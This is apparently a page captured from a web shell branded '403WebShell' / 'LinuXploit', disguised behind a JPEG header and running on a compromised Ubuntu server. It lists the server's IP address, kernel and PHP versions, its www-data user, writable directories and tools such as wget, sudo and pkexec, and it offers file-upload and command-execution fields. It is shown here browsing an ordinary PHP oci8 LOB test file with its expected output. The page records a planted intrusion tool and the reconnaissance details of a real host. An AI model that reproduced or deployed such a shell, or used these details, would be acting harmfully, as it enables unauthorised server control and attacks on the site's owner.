????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/oci8/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/oci8/tests/lob_001.phpt
--TEST--
oci_lob_write() and friends
--SKIPIF--
<?php
$target_dbs = array('oracledb' => true, 'timesten' => false);  // test runs on these DBs
require(dirname(__FILE__).'/skipif.inc');
?> 
--FILE--
<?php
	
require(dirname(__FILE__).'/connect.inc');

// Initialization

$stmtarray = array(
	"drop table lob_001_tab",
	"create table lob_001_tab (id number, b1 blob)",
);

oci8_test_sql_execute($c, $stmtarray);

echo "Test 1 OCI_B_BLOB bind\n";

$statement = oci_parse($c, "insert into lob_001_tab (id, b1) values (1, empty_blob()) returning b1 into :v_b1 ");
$blob = oci_new_descriptor($c,OCI_D_LOB);
var_dump(oci_bind_by_name($statement, ":v_b1", $blob, -1, OCI_B_BLOB));
oci_execute($statement, OCI_DEFAULT);
var_dump($blob);

echo "Test 2\n";

var_dump($blob->write("test"));
var_dump($blob->tell());
var_dump($blob->seek(10, OCI_SEEK_CUR));
var_dump($blob->write("string"));
var_dump($blob->flush());

oci_commit($c);

echo "Test 3\n";

$s = oci_parse($c, "select b1 from lob_001_tab where id = 1");
oci_execute($s);
var_dump(oci_fetch_array($s, OCI_RETURN_LOBS));

echo "Test 4 SQLT_BLOB (an alias for OCI_B_BLOB) bind\n";

$statement = oci_parse($c, "insert into lob_001_tab (id, b1) values (2, empty_blob()) returning b1 into :v_b1 ");
$blob = oci_new_descriptor($c,OCI_D_LOB);
var_dump(oci_bind_by_name($statement, ":v_b1", $blob, -1, SQLT_BLOB));
oci_execute($statement, OCI_DEFAULT);
var_dump($blob->write("test row 2"));

$s = oci_parse($c, "select b1 from lob_001_tab where id = 2");
oci_execute($s);
var_dump(oci_fetch_array($s, OCI_RETURN_LOBS));

// Cleanup

$stmtarray = array(
	"drop table lob_001_tab"
);

oci8_test_sql_execute($c, $stmtarray);

?>
===DONE===
<?php exit(0); ?>
--EXPECTF--
Test 1 OCI_B_BLOB bind
bool(true)
object(OCI-Lob)#%d (1) {
  ["descriptor"]=>
  resource(%d) of type (oci8 descriptor)
}
Test 2
int(4)
int(4)
bool(true)
int(6)
bool(false)
Test 3
array(2) {
  [0]=>
  string(20) "teststring"
  ["B1"]=>
  string(20) "teststring"
}
Test 4 SQLT_BLOB (an alias for OCI_B_BLOB) bind
bool(true)
int(10)
array(2) {
  [0]=>
  string(10) "test row 2"
  ["B1"]=>
  string(10) "test row 2"
}
===DONE===

Youez - 2016 - github.com/yon3zu
LinuXploit